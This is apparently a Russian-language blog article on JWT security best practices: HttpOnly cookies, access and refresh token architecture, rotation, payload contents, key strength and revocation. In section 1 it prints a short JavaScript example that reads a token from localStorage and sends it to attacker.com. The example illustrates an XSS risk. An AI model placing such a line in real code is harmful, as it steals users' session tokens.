Безопасность JWT-токенов: лучшие практики работы с Access и Refresh токенами
Автор: Javohir Abdullayev · · Веб-разработка

Почему JWT популярен и одновременно опасен в веб-приложениях?
В современных веб- и мобильных приложениях JSON Web Token (JWT) стал практически стандартом для аутентификации пользователей. Работая с Django REST Framework, FastAPI, Node.js или React, многие из нас отказываются от традиционных сессий в пользу технологии JWT. Однако многие начинающие и даже опытные разработчики совершают грубые ошибки при хранении токенов и управлении ими. В результате приложение становится уязвимым для таких опасных атак, как XSS (Cross-Site Scripting) или CSRF (Cross-Site Request Forgery).
В этой статье мы, опираясь на практический опыт, рассмотрим важнейшие правила и лучшие практики (best practices) по обеспечению безопасности JWT.
1. Где хранить токены: ошибка использования LocalStorage
Во многих руководствах и туториалах предлагается сохранять токен в localStorage или sessionStorage браузера. На этапе разработки это кажется простым и удобным решением, однако в продакшене (production) это один из самых опасных подходов.
Объект localStorage в браузере доступен для любого JavaScript-кода на странице. Если в ваш проект проникнет сторонняя библиотека с уязвимостью или вредоносный скрипт (XSS), злоумышленник сможет всего одной командой отправить все токены пользователя на свой сервер:
// Для злоумышленника украсть токен из localStorage крайне просто:
const token = localStorage.getItem('access_token');
fetch('https://attacker.com/steal?token=' + token);Правильное решение: HttpOnly и Secure Cookie
Самый безопасный способ — сохранять токен в файлах cookie с включенным флагом HttpOnly. Такую куку невозможно прочитать через JavaScript (она не видна через document.cookie). Браузер автоматически отправляет эти cookie с каждым запросом на бэкенд-сервер.
- HttpOnly: блокирует чтение токена через JavaScript и радикально снижает ущерб от XSS-атак.
- Secure: гарантирует передачу cookie исключительно по зашифрованному протоколу HTTPS.
- SameSite=Lax или Strict: предотвращает подделку межсайтовых запросов (CSRF) со сторонних сайтов.
2. Архитектура Access и Refresh токенов
Использование одного долгоживущего токена — критическая ошибка с точки зрения безопасности. Если единственный токен со сроком действия 30 дней попадет к злоумышленнику, он сможет совершать действия от имени пользователя целый месяц. Поэтому токены обязательно нужно разделять на два типа:
Access Token (токен доступа)
Этот токен предоставляет доступ к защищенным API-ресурсам. Срок его жизни должен быть очень коротким: обычно от 5 до 15 минут. Рекомендуется хранить access-токен в оперативной памяти фронтенда (React state или in-memory хранилищах вроде Redux/Zustand). При обновлении страницы новый access-токен запрашивается с помощью refresh-токена.
Refresh Token (токен обновления)
Этот токен используется исключительно для получения нового access-токена. Он живет дольше (например, 7 или 14 дней). Refresh-токен ни в коем случае нельзя хранить в открытом виде — он должен устанавливаться бэкендом исключительно в виде HttpOnly Secure Cookie и передаваться только на эндпоинт обновления токенов (например, /api/token/refresh/).
3. Механизм Refresh Token Rotation (ротация токенов)
Ротация refresh-токенов (Refresh Token Rotation) — один из самых мощных методов защиты современной аутентификации. Каждый раз, когда клиент запрашивает новый access-токен, бэкенд выдает не только новый access-токен, но и новый refresh-токен, а старый помечает в базе данных как недействительный.
Что произойдет, если злоумышленник попытается использовать украденный refresh-токен? Бэкенд зафиксирует попытку повторного использования одного и того же refresh-токена. Это немедленно расценивается как взлом: система мгновенно аннулирует все активные сессии пользователя и требует повторного входа в аккаунт.
4. Не храните секретные данные внутри JWT Payload
Начинающие разработчики часто ошибочно полагают, что JWT зашифрован. Это абсолютно неверно! JWT-токен состоит из трех частей: Header, Payload и Signature. Они всего лишь закодированы в формате Base64URL.
Любой человек может перейти на сайт jwt.io или вызвать функцию atob() в консоли и прочитать содержимое payload. Поэтому никогда не записывайте в токен пароли, паспортные данные, номера банковских карт или конфиденциальные роли. В payload должны содержаться только минимальные сведения: идентификатор пользователя (ID) и срок действия токена (exp).
5. SECRET_KEY и криптографические алгоритмы
Подпись JWT необходима для проверки того, что данные токена не были скомпрометированы или изменены. Для этого на бэкенде используется секретный ключ (SECRET_KEY):
- Длина ключа: секретный ключ должен представлять собой случайную сложную строку длиной не менее 256 бит. Никогда не коммитьте его в репозиторий GitHub — храните ключ только в переменных окружения (environment variables).
- Проверка алгоритма: никогда не принимайте алгоритм 'none'. В бэкенд-библиотеке обязательно настройте принудительную валидацию только конкретного разрешенного алгоритма (например, HS256 или асимметричного RS256).
6. Возможность отзыва сессий (Token Blacklist)
Поскольку JWT работает по принципу отсутствия состояния (stateless), его главный недостаток — сложность серверного отзыва токена до истечения его срока действия. Если пользователь нажимает кнопку «Выйти» (Logout) или обнаружен взлом аккаунта, токен требуется принудительно аннулировать.
Для этой задачи рекомендуется хранить черный список отозванных токенов (Token Blacklist) в Redis или кэш-памяти. Экспресс-проверка токена по кэшу при каждом запросе создает минимальную нагрузку на систему, но повышает безопасность во много раз.
Заключение
JWT-аутентификация — удобный и эффективный инструмент, однако халатное отношение к нему ставит под угрозу безопасность всего сервиса. Делайте access-токены короткоживущими, храните refresh-токены в HttpOnly cookie, внедряйте механизм ротации токенов и не перегружайте payload чувствительными данными. Соблюдение этих практических правил надежно защитит ваше приложение от хакерских атак.
Теги: #JWT #Veb Xavfsizligi #Autentifikatsiya #Backend #Best Practice